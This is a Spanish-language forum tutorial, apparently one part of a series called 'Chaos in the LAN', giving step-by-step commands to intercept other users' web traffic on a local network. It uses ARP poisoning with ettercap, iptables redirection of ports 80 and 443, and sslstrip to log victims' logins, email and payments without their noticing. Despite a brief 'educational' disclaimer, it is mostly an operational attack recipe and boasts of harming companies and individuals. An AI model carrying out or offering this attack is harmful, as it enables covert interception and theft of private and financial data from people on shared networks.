Snifando tráfico cifrado mediante SSL en nuestra red local.
---------------Serie Chaos in the LAN------------------------------
Parte 1 - http://www.mediavida.com/foro/3/cha...parte-i-443487#1
Parte 2 - http://www.mediavida.com/foro/3/cha...-parte-ii-443488
Parte 3 - http://www.mediavida.com/foro/3/chaos-in-the-lan-parte-iii-443489
/* Este tutorial tiene un fin meramente educativo, no me hago responsable de los malos usos de los conocimiento que aquí expongo */
Un pequeño comentario sobre este tutorial. Si buscáis por internet, seguramente vais a encontrar maneras "mejores" de hacer un ataque de este tipo, no obstante, la mayoría de ellos, están pensados para recoger un solo tipo de información, y de una sola víctima. Eso puede resultar muy ineficiente si estamos trabajando en una red local con muchos ordenadores. Por lo tanto, aquí os dejo mi modelo, que, si os gusta, podréis sintetizar en un como cómodo script.
Antes de nada, para este tutorial vamos a utilizar Linux, cualquier distribución. En mi caso utilizaré Ubuntu, ya que es la que utilizo para muchas otras cosas, pero realmente podéis utilizar cualquier otra. Los únicos requerimientos serán (a parte de una buena tarjeta de red para redes amplias), instalar el siguiente software (aunque gran parte de el ya vendrá en nuestro sistema):
- Ettercap
- IPtables
- SSLStryp
- Un visualizador de logs, para ir viendo los resultados en tiempo real utilizaremos tail
Supongo que ya sabéis un poco de la teoría que expuse en el capítulo anterior, por lo que voy a pasar completamente de esa parte, y voy a ir al grano.
Lo primero que tenemos que hacer es activar el ip_forward, para ello vasta con que escribamos en la consola:
Code:
echo 1 > /proc/sys/net/ipv4/ip_forward Lo que hará sera activar el forwarding, es decir poner un "1" en el archive que determina si compartimos conexión de internet o no. En este caso, y para que la víctima, o víctimas, no se den cuenta y sigan navegando y mandando sus datos a través de la red, conviene que sigan teniendo conexión a internet. Si lo que queremos es DoSear la red, desactivamos esta opción. Más adelante haré un tutorial sobre como DdoSear redes locales de manera más eficiente. Sigamos.
A continuación vamos a borrar las reglas que podamos tener en el IPtables que puedan afectar al tráfico de red NAT, para ello, pondremos el siguiente comando:
Code:
iptables -t nat -F Donde, iptables llama al programa, "-t nat" selecciona la table que queremos borrar, y -F la borra. Ya tenemos el escenario preparado, comencemos el spoofing básico. Para ello, utilizaremos el ettercap de una manera un poco especial para hacerlo, y capturar paquetes. Ponemos lo siguiente:
Code:
ettercap -Tq -M arp:remote /192.168.0.1/ // -P autoadd -i eth0 -m /tmp/caturaetter.log Donde he puesto "192.168.0.1" pondremos la IP de la puerta de salida de nuestra red, la podéis ver si hacéis un ifconfig, y donde pone eth0 poned el nombre de vuestro adaptador de red, suele ser eth0, comprobadlo. Esta es la pase del APR poisoning, ya que estamos haciendo como si tuviéramos la MAC de la puerta de enlace. "-M" es la opción específica para realizar un MITM y "-Tq" activa el modo solo texto y evita que se nos impriman todos los paquetes en la pantalla. Con las opciones de la segunda parte vamos buscando y añadiendo las nuevas IPs y MACs que nos vayan llegando, por último le indicamos que guarde todo en un log. Dejamos esa consola trabajando, y abrimos otra.
En esta segunda vamos a tener que tocar un poco más la configuración del iptables. Ejecutamos por orden el siguiente set de comandos:
Code:
Iptables -t nat -L -n
Iptables -t nat -D PREROUTING 1
Iptables -t nat -D PREROUTING 1
Iptables -t nat -L -nCode:
Iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
Iptables -t nat -A PREROUTING -P tcp --dport 443 -j REDIRECT --to-port 10000A veces yo no uso las primeras cuatro, más que nada por que la primera y la cuarta son para listar únicamente, y ver los cambios que hacemos. Las dos de en medio establecen las pre-rutas. Alguien me aconsejó utilizarlas por razones muy técnicas, así que si utilizáis un script, no cuesta nada ponerlas. Las últimas dos reglas son para desviar información de los puertos 80, para el tráfico http normal y 443 para el tráfico https/ssl antes de que salgan, es decir, en la etapa pre-routing, a nuestro puerto 10000 que será el que utilizará el SSLStrip, que es el que se encargará de procesar todo el tráfico. Normalmente, si lo que buscamos es información muy específica, conviene hacer directamente, solo la opción del puerto 443, así nos quitamos de encima toda la mierda que pasa por el puerto 80, que en nuestro caso serán imágenes, audio, archivos, etc.
A continuación (lo podemos hacer en esa misma consola xD) ejecutamos el SSLStrip, que es un script (con más pinta de programa), escrito originalmente en python y de código abierto (por si alguien le quiere echar un vistazo):
Code:
sslstrip -k -l 10000 -a -w /tmp/capturageneral.log Invocamos el programa, la opción "-k" mata la sesión actual, si es que la hubiere, la "-l" establece el puerto de escucha, en este caso el 10000 (podéis hacer el ataque en otro puerto, pero intentad que no coincida con ningún otro que esté en uso o que sea exclusivo de algún programa frecuente, por aquello de no tener un archivo log lleno de mierda mezclada). "-a" indica que loggee tanto el tráfico http como el que vaya sobre ssl y el último "-w ruta" establece dónde se va a guardar. De nuevo, aquí tenemos la opción de escuchar solo un tipo de tráfico o los dos, a gusto del consumidor. Piensa siempre en para qué se está utilizando la red. Si solo queremos ver lo que hace una persona que seguramente esté mirando su correo electrónico o navegando normal, o haciendo pagos por internet, conviene utilizar ambos, si además la red se utiliza para hacer descargas directas, ver películas, etc, etc, etc, y nos ponemos a escuchar el tráfico HTTP simple, puede ser muy contraproducente, y generar un archivo log pesado, y lleno de mierda, que seguramente bloquee nuestro ordenador al abrirlo (conviene utilizar programas especializados en archivos grandes, en esos casos). Podemos aplicar también otras opciones, "-p" para escuchar solo el tráfico SSL de salida, o "-s" para escuchar solo el SSL, tanto de salida, como de entrada. De nuevo, depende de lo que queramos hacer.
Ya estamos haciendo nuestro ataque, y guardando todo en logs. Si queréis sentiros como en mátrix y dejar flipado al que pase por detrás podéis abrir otra consola y utilizar un:
Code:
tail -f /tmp/captura.log Con todo lo que he dicho, y todas las modificaciones que he propuesto, una muy sencilla, y para objetivos específicos podría ser, mantener el ettercap como está, o seleccionar un objetivo concreto, utilizar solo el último comando del iptables, es decir, el que redirige solo el tráfico del puerto 443, y en lugar de utilizar la opción all (-a) del SSLStrip, utilizar la opción -s, solo el tráfico SSL de salida. Con esto obtendremos un log mucho más pequeño e interpretable, y con información más valiosa.
Code:
iptables -t nat -A PREROUTING -P tcp --dport 443 -j REDIRECT --to-port 10000 Code:
ettercap -M arp:remote /GATEWAY/ -t ssl -Tq -i eth0 -P autoadd -i eth0 -w /tmpcapturaeter.log Code:
sslstrip -k -l 10000 -s -w /tmp/capturassl.log Como digo las variantes son muchas, y se puede hacer con diverso software.
Tengo pensado hacer más manuales sobre ataques en protocolo APR, incluso un manual entero que sirva como explicación y referencia sobre todo este protocolo y como hacer y evitar ataques. Así mismo, con los pocos tutoriales que he hecho, un poco de ataque en wireless que es realmente sencillo, y un poco de imaginación, podemos hacer realmente mucho daño, tanto a empresas como a particulares. En futuros tutoriales os enseñare como se ejecutan los ataques smurf, como Ddosear vuestra NAT y dejar a todo el mundo sin internet, o como hacer variaciones del ARP clásico y cambiar las consultas DNS. También tengo pensado otro muy interesante sobre como mediante una suculenta combinación, ver en tiempo real las páginas que visita la víctima en nuestro propio navegador.
